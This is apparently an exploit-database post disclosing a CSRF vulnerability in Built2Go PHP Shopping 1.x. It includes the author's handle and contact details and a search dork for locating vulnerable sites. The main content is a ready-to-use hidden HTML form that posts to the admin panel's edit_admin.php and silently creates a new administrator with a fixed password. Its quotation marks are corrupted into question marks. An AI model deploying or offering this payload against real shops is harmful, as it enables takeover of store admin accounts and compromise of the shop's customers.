Built2Go PHP Shopping v 1.x ? CSRF Vulnerability(add admin) ==================================================================== #################################################################### .:. Author : AtT4CKxT3rR0r1ST .:. Contact : [F.Hack@w.cn] , [AtT4CKxT3rR0r1ST@gmail.com] .:. Home : http://www.iphobos.com/blog/ .:. Script : http://www.built2go.com/ .:. Dork : ?Powered by Built2Go PHP Shopping? #################################################################### ===[ Exploit ]=== <form method=?POST? name=?form0? action=? http://SITE/adminpanel/edit_admin.php?> <input type=?hidden? name=?userid? value=?ADMIN?/> <input type=?hidden? name=?pass? value=?12121212?/> <input type=?hidden? name=?retypepass? value=?12121212?/> <input type=?hidden? name=?addnew? value=?1?/> <input type=?hidden? name=?action? value=?save?/> <input type=?hidden? name=?new? value=?Submit?/> </form> </body> </html> ####################################################################